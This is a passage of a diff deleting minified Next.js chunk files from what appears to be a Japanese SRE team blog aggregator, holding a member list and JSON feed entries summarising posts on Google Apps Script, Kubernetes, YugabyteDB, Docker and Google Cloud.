の方々がせっせと設定を変更してくれるみたいです。今回申請するにあたり、うまくいかず時間を要してしまったのでメモ程度に残しておきたいと思います。Android アプリ移行の簡単な流れAndroid アプリの申請ページに辿り着くGooglePlay developer アカウントの準備 プライベートチャンネルのアプリ収益化されたアプリApplication Transfer RequestDeveloper Account Registration の意味を盛大に履き違えるここでズッポリはまってしまった。Application Transfer Request で「Developer Account Registration」と書いてあり、私は GooglePlay developer や GoogleWallet からそれらしいコードを探したが見つからない。Click the Developer Registration order (This may be titled “ Google - Google Play ”) が、GooglePlay developer 開設時に支払った登録料であることに気づく。というかちゃんと読んで理解してればすぐに気づくはず。いつもの文章をしっかり読まない性格が招いたトラブルだったなーと反省しました…が、まさか GooglePlay developer 開設時の登録料の登録 ID とは思いもよりませんでしたね…","link":"https://blog.jigyakkuma.org/2013/11/02/gpd-account/","isoDate":"2013-11-02T00:00:00.000Z","dateMiliSeconds":1383350400000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"GAS の処理速度が遅いと評判なので計測してみた","contentSnippet":"先日、GAS でいつものようにコードを組んでいたのですが、どうも処理が追いつかずサーバ側のタイムアウトが発生する事案に遭遇。以下の記事にもあるように、GAS は API をコールしまくると途端に処理速度が低下するのはよくある話で、今回のコードも何の考えもなしにループの終了条件で getLastRow()を設定していた。[GAS][スプレッドシート]処理速> 度を向上するには: 逆引き Google Apps Scriptいつもならバグ見つかってよかったー、で終わってしまうのですがちょっと気になることがあったので検証してみました。【検証】 GAS の処理が遅いって言われてるけど、実際どうなの？ということで今回はよくやりそうな処理のサンプルを作ってみたので実測値を見てみる。[検証 1]for 文に getLastRow()を突っ込んだ場合の処理遅延以下のコードを実行してみる。\\tfunction speedCheck1() {\\t var ss = SpreadsheetApp.openById(SS_KEY).getActiveSheet(); \\t var counter = ss.getLastRow(); \\t Logger.log(\'speed check start:getLastRow()\'); \\t for(var i = 0;i < ss.getLastRow();i++){} \\t Logger.log(\'speed check end:getLastRow()->count:\'+i);\\t Logger.log(\'speed check start:counter\'); \\t for(var i = 0;i < counter;i++){}\\t Logger.log(\'speed check end:counter->count:\'+i);\\t}\\t結果は以下。\\t[13-10-24 00:31:46:496 JST] speed check start:getLastRow()\\t[13-10-24 00:31:54:044 JST] speed check end:getLastRow()->count:100\\t[13-10-24 00:31:54:045 JST] speed check start:counter\\t[13-10-24 00:31:54:045 JST] speed check end:counter->count:100[検証 2]ループ内でスプレッドシートの値を getValue()しちゃった場合の処理遅延次はこちらのコード。\\tfunction speedCheck2() {\\t var ss = SpreadsheetApp.openById(SS_KEY).getActiveSheet();\\t var array = ss.getDataRange().getValues();\\t var counter = ss.getLastRow();\\t var result = new Array(); \\t Logger.log(\'speed check start:getValue()\');\\t for(var i = 0;i < counter;i++){ \\t result[i] = ss.getRange(i+1,1).getValue();\\t } \\t Logger.log(\'speed check end:getValue()->count:\'+i); \\t Logger.log(\'speed check start:assignment\'); \\t for(var i = 0;i < counter;i++){\\t result[i] = array[i][0]; \\t } \\t Logger.log(\'speed check end:assignment->count:\'+i);\\t}結果結果はご覧の通り。\\t[13-10-24 00:36:15:285 JST] speed check start:getLastRow()\\t[13-10-24 00:36:22:977 JST] speed check end:getLastRow()->count:100\\t[13-10-24 00:36:22:977 JST] speed check start:counter\\t[13-10-24 00:36:22:978 JST] speed check end:counter->count:100整理すると[検証 1] 7452ms [検証 2] 7692ms という結果でした。メソッドによって 1call 当たりの処理速度は当然ながら変わってくると思いますので参考程度に見てもらえればと思います。しかしながら 100 回 call しただけで 7 秒以上の差が出ているのは驚きなので、複雑な処理になっている時ほど処理を改善すると効果絶大です。処理速度にお悩みでしたらコード内にこういった処理が潜んでいるかもしれません。","link":"https://blog.jigyakkuma.org/2013/10/22/gas-speed/","isoDate":"2013-10-22T00:00:00.000Z","dateMiliSeconds":1382400000000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"Links","contentSnippet":"","link":"https://blog.jigyakkuma.org/links/","isoDate":"2001-01-01T00:00:00.000Z","dateMiliSeconds":978307200000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"Search","contentSnippet":"","link":"https://blog.jigyakkuma.org/search/","isoDate":"2001-01-01T00:00:00.000Z","dateMiliSeconds":978307200000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"}]')}}]); \ No newline at end of file diff --git a/_next/static/chunks/983-df9ab401b0924804.js b/_next/static/chunks/983-df9ab401b0924804.js deleted file mode 100644 index 4046fdaafa..0000000000 --- a/_next/static/chunks/983-df9ab401b0924804.js +++ /dev/null @@ -1 +0,0 @@ -"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[983],{1807:function(e,t,a){a.d(t,{T:function(){return o}});let o=[{id:"yteraoka",name:"yteraoka",role:"SRE",bio:"ojisan",avatarSrc:"/avatars/yteraoka.jpeg",sources:["https://blog.1q77.com/index.xml","https://qiita.com/yteraoka/feed","https://medium.com/feed/@yteraoka","https://zenn.dev/yteraoka/feed"],includeUrlRegex:"",twitterUsername:"yteraoka",githubUsername:"yteraoka",websiteUrl:"https://blog.1q77.com/"},{id:"tozastation",name:"tozastation",role:"SRE",bio:"tarako_chan",avatarSrc:"/avatars/tozastation.jpg",sources:["https://qiita.com/tozastation/feed"],includeUrlRegex:"",twitterUsername:"tozastation",githubUsername:"tozastation",websiteUrl:"https://github.com/tozastation"},{id:"kyohmizu",name:"kyohmizu",role:"SRE",bio:"mizumoto",avatarSrc:"/avatars/kyohmizu.png",sources:["https://kyohmizu.hatenablog.com/feed","https://qiita.com/kyohmizu/feed"],includeUrlRegex:"",twitterUsername:"kyohmizu",githubUsername:"kyohmizu",websiteUrl:"https://profile.kyohmizu.com/"},{id:"nwiizo",name:"nwiizo",role:"Software Developer",bio:"Brogrammer",avatarSrc:"/avatars/nwiizo.jpeg",sources:["https://syu-m-5151.hatenablog.com/feed","https://zenn.dev/nwiizo/feed"],includeUrlRegex:"",twitterUsername:"nwiizo",githubUsername:"nwiizo",websiteUrl:"https://nwiizo.github.io/"},{id:"skikkh",name:"skikkh",role:"SRE",bio:"skikkh",avatarSrc:"/avatars/skikkh.jpeg",sources:["https://qiita.com/skikkh/feed"],includeUrlRegex:"",twitterUsername:"skikkh",githubUsername:"skikkh",websiteUrl:""},{id:"toshikish",name:"toshikish",role:"SRE",bio:"Toshiki Shimomura",avatarSrc:"/avatars/toshikish.png",sources:["https://toshikish.hateblo.jp/feed","https://zenn.dev/toshikish/feed","https://qiita.com/toshikish/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"toshikish",websiteUrl:""},{id:"Sreake",name:"Sreake",role:"",bio:"This Is The Sreake Section Blog.",avatarSrc:"/avatars/sreake.png",sources:["https://sreake.com/feed/"],includeUrlRegex:"blog",excludeUrlRegex:"event",twitterUsername:"SreakeJ",githubUsername:"",websiteUrl:"https://sreake.com"},{id:"tez",name:"Takuya Tezuka",role:"JB",bio:"tez",avatarSrc:"/avatars/tezuka.jpeg",sources:["https://qiita.com/TT_Private/feed"],includeUrlRegex:"qiita.com/TT_Private",twitterUsername:"tt0603",githubUsername:"taku-tez",websiteUrl:"https://www.wantedly.com/id/takuya_tezuka"},{id:"sosan01",name:"Soichiro Tsuchida",role:"SRE",bio:"sosan",avatarSrc:"/avatars/sosan01.png",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"sosan01",websiteUrl:""},{id:"atsuya0",name:"Atsuya Tsukada",role:"SRE",bio:"human",avatarSrc:"/avatars/atsuya0.jpg",sources:["https://zenn.dev/tayusa/feed","https://qiita.com/atsuya0/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"atsuya0",websiteUrl:"https://github.com/atsuya0"},{id:"abnoumaru",name:"Takaaki Abe",role:"SRE (Team Leader)",bio:"walker",avatarSrc:"/avatars/abnoumaru.jpeg",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"abnoumaru",websiteUrl:"https://www.wantedly.com/id/abnoumaru"},{id:"genki-hashimoto",name:"Genki Hashimoto",role:"SRE",bio:"ongaku suki",avatarSrc:"/avatars/hashimoto.jpg",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"genki-hashimoto",websiteUrl:"https://www.wantedly.com/id/genki_hashimoto"},{id:"masasuzu",name:"SUZUKI, Masashi",role:"SRE",bio:"yasetai",avatarSrc:"/avatars/masasuzu.png",sources:["https://blog.masasuzu.net/feed"],includeUrlRegex:"",twitterUsername:"masasuz",githubUsername:"masasuzu",websiteUrl:"https://masasuzu.net"},{id:"kiyos",name:"Kyohei Saito",role:"SRE",bio:"haraheri",avatarSrc:"/avatars/kiyos.jpeg",sources:[],includeUrlRegex:"",twitterUsername:"kiyo_12_07",githubUsername:"kiyo-s",websiteUrl:""},{id:"mos914",name:"Yu Kaneko",role:"SRE",bio:"koke",avatarSrc:"/avatars/mos914.png",sources:["https://qiita.com/dirtymosschan/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"mos914",websiteUrl:""},{id:"unvavo",name:"nobu",role:"SRE",bio:"nobu",avatarSrc:"/avatars/nobu.png",sources:[],includeUrlRegex:"",twitterUsername:"unvavo",githubUsername:"unvavo",websiteUrl:""},{id:"hiroki-hasegawa",name:"Hiroki Hasegawa",role:"SRE",bio:"Let me know your favorite technology! ✌️",avatarSrc:"/avatars/hirokihasegawa.png",sources:["https://hiroki-hasegawa.hatenablog.jp/feed"],includeUrlRegex:"",twitterUsername:"Hiroki__IT",githubUsername:"hiroki-it",websiteUrl:"https://hiroki-it.github.io/tech-notebook/"},{id:"kaisato",name:"Kai Sato",role:"SRE",bio:"domo",avatarSrc:"/avatars/kaisato.png",sources:[],includeUrlRegex:"",twitterUsername:"KAI21441756",githubUsername:"kaitexio",websiteUrl:""},{id:"d-murota",name:"Daichi Murota",role:"SRE",bio:"d-murota",avatarSrc:"/avatars/d-murota.jpg",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"d-murota-w",websiteUrl:""},{id:"ysakurai",name:"Yusuke Sakurai",role:"SRE",bio:"ysakurai",avatarSrc:"/avatars/ysakurai.jpg",sources:["https://qiita.com/ys1/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"saku3",websiteUrl:""},{id:"tayakun",name:"Soichiro Taya",role:"SRE",bio:"tayakun",avatarSrc:"/avatars/tayakun.png",sources:["https://qiita.com/tayakun/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"tayatamn",websiteUrl:""},{id:"jigyakkuma",name:"Shinji Yamada",role:"Corporate Engineer",bio:"Shonan life",avatarSrc:"/avatars/jigyakkuma.png",sources:["https://blog.jigyakkuma.org/index.xml"],includeUrlRegex:"",twitterUsername:"jigyakkuma_",githubUsername:"jigyakkuma",websiteUrl:"https://blog.jigyakkuma.org"},{id:"SatohJohn",name:"SatohJohn",role:"Software Developer",bio:"SatohJohn",avatarSrc:"/avatars/satohjohn.png",sources:["https://qiita.com/satohjohn/feed","https://zenn.dev/satohjohn/feed"],includeUrlRegex:"",twitterUsername:"satohjohn",githubUsername:"satohjohn",websiteUrl:""},{id:"bayobayo0324",name:"bayobayo0324",role:"back/front/app Engineer",bio:"osake daisuki",avatarSrc:"/avatars/bayobayo0324.jpeg",sources:["https://qiita.com/bayobayo0324/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"bayobayo0324",websiteUrl:""},{id:"myamamoto",name:"myamamoto",role:"SRE",bio:"human",avatarSrc:"/avatars/myamamoto.jpeg",sources:["https://zenn.dev/ureuzy/feed"],includeUrlRegex:"",twitterUsername:"ureuzy",githubUsername:"ureuzy",websiteUrl:""},{id:"seno",name:"seno",role:"DBRE",bio:"seno",avatarSrc:"/avatars/seno.jpeg",sources:["https://zenn.dev/nedoko_dok0dko/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"senohirona",websiteUrl:""},{id:"sakama",name:"sakama",role:"SRE",bio:"homo sapiens",avatarSrc:"/avatars/sakama.jpeg",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"junichiro-sakama",websiteUrl:""},{id:"toVersus",name:"Tsubasa Nagasawa",role:"SRE",bio:"lazy programmer",avatarSrc:"/avatars/toVersus.png",sources:["https://qiita.com/toVersus/feed","https://zenn.dev/toversus/feed"],includeUrlRegex:"",twitterUsername:"toversus26",githubUsername:"toVersus",websiteUrl:""},{id:"raba-jp",name:"Hiroki Sakuraba",role:"Software Developer",bio:"meow",avatarSrc:"/avatars/raba-jp.jpg",sources:["https://zenn.dev/raba_jp/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"raba-jp",websiteUrl:""},{id:"ixsakra",name:"Ryosuke Sakurai",role:"SRE",bio:"ganbarumasu 'w'",avatarSrc:"/avatars/ixsakra.jpg",sources:[],includeUrlRegex:"",twitterUsername:"",githubUsername:"",websiteUrl:""},{id:"nnaka2992",name:"NAKADATE Naoki",role:"DBRE",bio:"what on the earth is Database?",avatarSrc:"/avatars/nnaka2992.jpg",sources:["https://nnaka2992.hatenablog.com/feed","https://zenn.dev/nnaka2992/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"",websiteUrl:"https://nnaka2992.hatenablog.com/"},{id:"nullzebra",name:"Satoru Kikuta",role:"SRE",bio:"Lena is great to be able to ride Flanker.",avatarSrc:"/avatars/kikuta.jpeg",sources:["https://qiita.com/nullzebra/feed","https://zenn.dev/nullzebra/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"",websiteUrl:""},{id:"satoken",name:"satoken",role:"SRE",bio:"How do you like Wednesday?",avatarSrc:"/avatars/satoken.jpg",sources:["https://zenn.dev/satoken/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"",websiteUrl:""},{id:"bells17",name:"bells17",role:"Software Engineer",bio:"Software Engineer",avatarSrc:"/avatars/bells17.jpeg",sources:["https://zenn.dev/bells17/feed","https://medium.com/feed/@bells17"],includeUrlRegex:"",twitterUsername:"bells17_",githubUsername:"bells17",websiteUrl:"https://bells17.io/"},{id:"yokoo-an209",name:"Annosuke Yokoo",role:"SRE",bio:"Buchiagemasu!",avatarSrc:"/avatars/yokoo.jpeg",sources:["https://qiita.com/yokoo-an209/feed"],includeUrlRegex:"",twitterUsername:"866mfs",githubUsername:"parupappa",websiteUrl:""},{id:"hide-1",name:"Shuichi Inoue",role:"long-term internship student",bio:"I want to become a strong engineer :)",avatarSrc:"/avatars/hide-1.jpg",sources:["https://sreake.com/blog/config-connectortest/feed","https://sreake.com/blog/kubernetes-operation-with-chatgpt/feed","https://sreake.com/blog/kubernetes-operation-with-chatgpt4/feed","https://sreake.com/blog/chatgpt-slack-integration/feed"],includeUrlRegex:"",twitterUsername:"19MU50",githubUsername:"hide-1",websiteUrl:""},{id:"yuu0w0yuu",name:"Yutaro Shirayama",role:"SRE",bio:"( ˘ω˘ )",avatarSrc:"/avatars/shirayama.jpg",sources:["https://zenn.dev/yuu0w0yuu/feed"],includeUrlRegex:"",twitterUsername:"yuu0w0yuu",githubUsername:"yuu0w0yuu",websiteUrl:""}].sort((e,t)=>e.id{let{path:t,title:a,description:r,ogImageUrl:n,noindex:c,removeSiteNameFromTitle:l}=e,p="".concat(s.v.siteRoot).concat(t||"");return(0,o.jsxs)(i(),{children:[(0,o.jsx)("title",{children:l?a:"".concat(a," | ").concat(s.v.siteMeta.title)}),(0,o.jsx)("meta",{property:"og:title",content:a}),(0,o.jsx)("meta",{property:"og:url",content:p}),(0,o.jsx)("meta",{name:"twitter:card",content:"summary_large_image"}),(0,o.jsx)("meta",{property:"og:site",content:s.v.siteMeta.title}),(0,o.jsx)("meta",{property:"og:image",content:n||"".concat(s.v.siteRoot,"/og.png")}),!!r&&(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)("meta",{name:"description",content:r}),(0,o.jsx)("meta",{property:"og:description",content:r})]}),t&&(0,o.jsx)("link",{rel:"canonical",href:p}),c&&(0,o.jsx)("meta",{name:"robots",content:"noindex"})]})}},518:function(e,t,a){a.d(t,{ci:function(){return i},gO:function(){return s},gb:function(){return n},n4:function(){return r}});var o=a(1807);function r(e){return o.T.find(t=>t.id===e)}function i(e){let t=new URL(e);return(null==t?void 0:t.hostname)||"blog"}function s(e){return"https://www.google.com/s2/favicons?domain=".concat(e)}function n(e){return"/members/".concat(encodeURIComponent(e))}a(8928)},8928:function(e){e.exports=JSON.parse('[{"title":"Time-Slicing GPUs を Kubernetes で利用する","contentSnippet":"はじめに Kubernetes にて、1つのGPUを複数コンテナ (※ Pod内の複数コンテナ、複数のPodを指す) で使い倒したい。そんな時はありますでしょうか。本記事では、NVIDIA/k8s-device-plug […]The post Time-Slicing GPUs を Kubernetes で利用する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-time-slicing-gpu/","isoDate":"2023-10-31T08:39:06.000Z","dateMiliSeconds":1698741546000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ShellCheckで自動化の品質を向上させる","contentSnippet":"はじめに Site Reliability Engineering (SRE) の領域では、トイル (toil) の削減と効率的なオペレーションが大きな課題となっています。トイルというのは、手作業で繰り返し行う作業のこと […]The post ShellCheckで自動化の品質を向上させる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/shellcheck-automation-enhancement/","isoDate":"2023-10-31T02:32:20.000Z","dateMiliSeconds":1698719540000,"authorName":"Sreake","authorId":"Sreake"},{"title":"YugabyteDBのドキュメントを全部読む Day9","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Read I/O pathを読みました。今回はArchitecture > Core functions > High Availabilityを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。High availabilityYugabyteDBは一貫性と分断耐性を兼ね備えたデータベースであると同時にリーダーの障害時に新しいリーダーとしてフェイルオーバー出来るアクティブレプリカを持つことで高可用性(HA)を達成している。もしノードに障害が発生した場合、そのノード上で動作するYB-TServerとYB-Masterの停止を引き起こす。YB-TServer failureYB-TServerはYSQLレイヤとアクティブなIOを提供するピアーリーダータブレットを含むタブレットをホストする。YSQレイヤとタブレットピアーフォロワーとタブレットピアーリーダーで発生した障害はそれぞれ特別な方法であつかわれる。YQL failureアプリケーションの視点からみればYQLはステートレスである。そのためクライアントが発行したリクエストは単純に他ノードのYQLにリクエストが送信される。スマートクライアントを利用している場合、スマートクライアントは理想的なYB-TServerの場所をタブレットが所有するキーから検索し、リクエストを直接そのノードに転送する。Tablet peer follower failureタブレットピアーフォロワーはクリティカルパスではない。この障害はユーザーリクエストへの可用性に影響しない。Tablet peer leader failureタブレットピアーリーダーの障害は数秒以内にRaftレベルのリーダー選出を自動的にトリガーし、他のYB-TServerに配置されているタブレットピアーが新しいリーダーとして選出される。タブレットピアリーダーに障害が発生した場合、可用性が損なわている時間は約3秒(ハードビートの感覚がデフォルトの500msの場合)である。YB-Master failureYB-Masterは通常のIOオペレーションではクリティカルパスでは無いため、ユニバースを動作させるのに影響は無い。しかしYB-Masterは異るノードで動作するピアーのRaftグループの一部であるため。このピアーのうちの一つがアクティブなマスターで残りがアクティブスタンバイである。YB-Masterのリーダーであるアクティブマスターに障害が発生した場合、ピアーはリーダーの障害を検知し、新なアクティブマスターであるYB-Masterのリーダーを障害時に数秒以内で再選出する。","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/9_core_functions_high_availability","isoDate":"2023-10-21T15:12:37.000Z","dateMiliSeconds":1697901157000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Google Application Integrationについて","contentSnippet":"whatGoogle Cloudの「Application Integration」というサービスについて軽く調べたことをまとめたログ関連してiPaasについても調べたことを記載する Application Integrationとはhttps://cloud.google.com/application-integration?hl=jaGoogle Cloudが提供するIntegration Platform as a Service（iPaaS）ソリューションビジュアルエディタを利用することによって、以下がノーコードで行えるイベントによるトリガーの...","link":"https://zenn.dev/nedoko_dok0dko/articles/365af68bb280e7","isoDate":"2023-10-18T09:20:05.000Z","dateMiliSeconds":1697620805000,"authorName":"seno","authorId":"seno"},{"title":"Cloud Asset Inventoryとは","contentSnippet":"whatGoogle Cloud のCloud Asset Inventoryについて調べてわかったことの個人まとめ Cloud Asset Inventoryとはhttps://cloud.google.com/asset-inventory/docs/overview?hl=jaCloud Asset Inventory は、時系列データベースに基づいてインベントリ サービスを提供します。このデータベースは、Google Cloud のアセット メタデータの 35 日間分の履歴を保持します。過去 35 日間変更がない既存のアセットの場合、Cloud Asset ...","link":"https://zenn.dev/nedoko_dok0dko/articles/e80d73d4f28a79","isoDate":"2023-10-13T10:27:12.000Z","dateMiliSeconds":1697192832000,"authorName":"seno","authorId":"seno"},{"title":"Vertex AI Searchによる社内knowlegeの要約ツールをつくってみた","contentSnippet":"こんにちは、初めましての方もそうでない方も、Sreake事業部 佐藤慧太(@SatohJohn)です。 今回Google CloudのVertex AI Search(旧Enterprise Search)について検証の […]The post Vertex AI Searchによる社内knowlegeの要約ツールをつくってみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/vertex-ai-search-summary-tool/","isoDate":"2023-10-12T03:46:53.000Z","dateMiliSeconds":1697082413000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、 インシデント管理・運用プラットフォーム「PagerDuty」の導入支援サービスを正式リリース","contentSnippet":"株式会社スリーシェイクが提供するSRE総合支援サービス「Sreake（スリーク）」は、新たに 、システムのインシデント対応を一元化するプラットフォーム「PagerDuty」の導入支援サービス「PagerDutyパッケージ」を正式リリースいたしました。The post スリーシェイク、 インシデント管理・運用プラットフォーム「PagerDuty」の導入支援サービスを正式リリース first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pagerduty-package/","isoDate":"2023-10-10T00:50:00.000Z","dateMiliSeconds":1696899000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"『SREとPlatform Engineerの交差点:2つの領域の交差と組織への適用』というタイトルで登壇しました","contentSnippet":"概要Platform Engineering Meetup #5 で SREとPlatform Engineerの交差点:2つの領域の交差と組織への適用 というテーマで登壇をしました。SREからPlatform Engineerへの拡大のセルフリバイバルになります。このブログでは、参考資料を見るために利用してください。気が向いたら続き書く資料 speakerdeck.com参考文献O’Reilly Japan – SRE サイトリライアビリティエンジニアリングO’Reilly Japan – サイトリライアビリティワークブックO’Reilly Japan – SREの探求SRE at Google: How to structure your SRE team | Google Cloud BlogレトロスペクティブガイドWhat Is Platform Engineering?What Team Structure is Right for DevOps to Flourish?Making the Business Case for a Dedicated Platform Engineering TeamCNCF Platforms White PaperSRE NEXTPlatform Engineering Meetupチームトポロジー　価値あるソフトウェアをすばやく届ける適応型組織設計The History of DevOps ReportsEffective DevOpsTop Strategic Technology Trends for 2023: Platform Engineering道を照らす: プラットフォーム エンジニアリング、ゴールデンパス、セルフサービスのパワーオブザーバビリティ・エンジニアリングWebエンジニアのための監視システム実装ガイドネットワーク・エフェクト　事業とプロダクトに欠かせない強力で重要なフレームワークINSPIRED 熱狂させる製品を生み出すプロダクトマネジメント","link":"https://syu-m-5151.hatenablog.com/entry/2023/10/05/233555","isoDate":"2023-10-05T14:35:55.000Z","dateMiliSeconds":1696516555000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"SREとPlatform Engineerの違いを3つのポイントで理解する","contentSnippet":"はじめに プラットフォームエンジニアリング（Platform Engineering）とサイト信頼性エンジニアリング（SRE, Site Reliability Engineering）はともに、ITインフラとアプリケー […]The post SREとPlatform Engineerの違いを3つのポイントで理解する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/3-diffs-with-sre-and-platform-engineer/","isoDate":"2023-10-04T03:49:57.000Z","dateMiliSeconds":1696391397000,"authorName":"Sreake","authorId":"Sreake"},{"title":"DietPi で DNLA サーバー","contentSnippet":"Raspberry Pi 4 を買った週に Raspberry Pi 5 が発表されてちょっと悔しいところですが Windows XP 時代から OS を更新しながら使っていた古いデスクトップPCを処分したのでそこで使っていた HDD をラズパ","link":"https://blog.1q77.com/2023/09/minidlna-on-dietpi/","isoDate":"2023-09-30T08:33:09.000Z","dateMiliSeconds":1696062789000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Kubernetes における秘密情報の管理方法","contentSnippet":"自己紹介 竹下 2023年8月21日からインターンに参加している早稲田大学基幹理工学研究科 M1 竹下です。SRE関連の技術と，自身が研究しているセキュリティ分野との関係性を学びたいと思い、インターンに参加しました。 中 […]The post Kubernetes における秘密情報の管理方法 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-secret-management/","isoDate":"2023-09-25T08:35:29.000Z","dateMiliSeconds":1695630929000,"authorName":"Sreake","authorId":"Sreake"},{"title":"EventBridge Scheduler からの Lambda 関数起動に Lambda Permission は不要","contentSnippet":"AWS Lambda 関数の他サービスからの呼び出しAWS Lambda 関数にはリソースベースポリシーを割り当てることができます。関数を他のサービスから呼び出すとき，通常はリソースベースポリシーにそのサービスからの実行を許可するポリシーを追加する必要があります。例えば，Amazon SNS からイベント駆動で呼び出す場合は，以下のように add-permission コマンドを実行することでポリシーを追加することができます。aws lambda add-permission --function-name example-function \\\\--action lambda...","link":"https://zenn.dev/toshikish/articles/743f69389aa99c","isoDate":"2023-09-22T10:16:34.000Z","dateMiliSeconds":1695377794000,"authorName":"toshikish","authorId":"toshikish"},{"title":"スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「インフラストラクチャ – サービス」のスペシャライゼーション認定を取得","contentSnippet":"Google Cloud – Sell エンゲージメントモデルにおけるプレミアパートナーである株式会社スリーシェイク（本社：東京都新宿区、代表取締役社長：吉田 拓真、以下スリーシェイク）は、Google Cl […]The post スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「インフラストラクチャ – サービス」のスペシャライゼーション認定を取得 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-specialization/","isoDate":"2023-09-22T00:50:00.000Z","dateMiliSeconds":1695343800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"WSL 2 で外部ストレージをマウント","contentSnippet":"Laptop を Linux で使用していた時の遺産を WSL 環境でも使おうと XFS でフォーマットされた USB 接続の HDD をマウントする方法がないかなと思って調べたメモ。 Microsoft のドキュメントにありました。 Linux","link":"https://blog.1q77.com/2023/09/wsl2-mount-volume/","isoDate":"2023-09-21T14:08:28.000Z","dateMiliSeconds":1695305308000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Open InterpreterのDockerfile を書いたのでTipsとか","contentSnippet":"Dockerfile のベストプラクティスを考える機会はありますが皆さんの意見も聞きたい。今回は噂の便利ツール、Open Interpreterのような外部コマンドをどんどん実行して環境を作り変えるようなタイプのツールの場合にはDockerはとても有用です。そのようなツールを利用する時のDockerfile について考えていきます。リポジトリは以下になります。github.comGitHub Actionsとの連携GitHub Actionsは、CI/CD（継続的インテグレーションと継続的デリバリー）をGithub 上に簡単に実装できるツールです。今回は、trivy.ymlとdocker-publishを利用することで、セキュリティのスキャンとDockerイメージの自動公開が可能です。github.comtrivy.ymlの利用trivy.ymlは、Trivyという脆弱性スキャナーをGitHub Actionsで動かすための設定ファイルです。この設定を利用することで、Dockerイメージに存在するセキュリティの脆弱性を自動で検出できます。docker-publishの追加docker-publishは、DockerイメージをDocker Hubや他のレジストリに自動で公開するためのGitHub Actionsのワークフローです。これにより、新しいバージョンのOpen Interpreterがリリースされた際に、手動でイメージをビルド・プッシュする手間が省けます。Renovate.jsonの利用renovate.jsonは、依存関係を自動で更新する設定ファイルですが、これを使うとOpen Interpreterが依存しているライブラリやパッケージが新しくなったときに、自動でプルリクエストが作られるんです。そうすることで、いつも最新の状態を保てるわけですから、セキュリティリスクも減らせます。さらに、Pythonのパッケージも自動で更新したい場合は、requirements.txtを使って設定しておくと便利です。これにより、Pythonの依存パッケージも最新の状態を維持できるようになります。github.comDockerfileを書く際の注意点私は以下のようなDockerfileを書きましたその際に以下のようなポイントを意識して書いたので参考にしてください。github.com軽量なベースイメージの使用不必要なパッケージを含まない軽量なベースイメージを使用することで、ビルド時間とイメージサイズを削減できます。FROM python:3.11キャッシュの最適化RUNコマンドを効率的に配置することで、Dockerキャッシュを最適化できます。RUN apt-get update && \\\\ apt-get upgrade -y && \\\\ apt-get install -y --no-install-recommends git && \\\\ rm -rf /var/lib/apt/lists/*不必要なパッケージの削除--no-install-recommendsオプションを使用して、不必要なパッケージをインストールしないようにします。 apt-get install -y --no-install-recommends git && \\\\作業ディレクトリの設定WORKDIRを設定することで、その後のコマンドの実行ディレクトリを明示的に指定できます。WORKDIR /root機密情報はコンテナイメージに絶対に埋め込まない社内で有識者へ投げたら機密情報をビルドイメージに追加することを指摘されたので運用時の手癖やミスで何処かのレイヤーに不用意に埋め込まないようにしたgithub.comまとめDockerでOpen Interpreterを運用する際には他にもいろいろ考えるべきことがあると思うので皆さんと議論したいのでIssue待ってます。","link":"https://syu-m-5151.hatenablog.com/entry/2023/09/20/002920","isoDate":"2023-09-19T15:29:20.000Z","dateMiliSeconds":1695137360000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"BigQueryの行列レベルのアクセス制御について","contentSnippet":"whatBigQueryにおける「行列レベル」のアクセス制御について調べたことをまとめる そもそも: 行・列単位に対してのアクセス制御は可能なのか?A. できるそれぞれ記載していく 列単位https://cloud.google.com/bigquery/docs/column-level-security-intro?hl=ja列に対して事前定義したポリシータグと呼ばれるものを付与することで、特定のアカウントやグループだけが列にアクセスできる。アクセスポリシーはSQLを実行する際に確認され、許可されていないメンバーからのクエリはAccess 